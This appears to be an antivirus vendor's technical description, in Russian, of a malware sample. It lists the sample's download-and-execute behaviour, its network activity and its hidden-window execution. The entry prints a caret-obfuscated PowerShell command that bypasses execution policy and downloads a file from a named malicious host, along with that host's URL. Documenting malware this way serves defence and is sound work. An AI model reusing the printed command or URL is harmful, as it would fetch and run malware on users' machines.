Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newfoodas.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^w^E^rS^hELl^.eXE^ -^E^X^e^CUt^ION^polIc^Y^ bYPasS^ -N^oP^ro^fiLE -^wI^N^do^wstyl^e ^hi^dd^En (^NEW-OB^JE^cT^ sySTem.NEt.wE^B^ClIeN^T)^.^D^OW^Nl^o^a^DFILe('http://newfoodas.t...
Сетевая активность
UDP
- DNS ASK ne###odas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^w^E^rS^hELl^.eXE^ -^E^X^e^CUt^ION^polIc^Y^ bYPasS^ -N^oP^ro^fiLE -^wI^N^do^wstyl^e ^hi^dd^En (^NEW-OB^JE^cT^ sySTem.NEt.wE^B^ClIeN^T)^.^D^OW^Nl^o^a^DFILe('http://newfoodas.t...' (со скрытым окном)
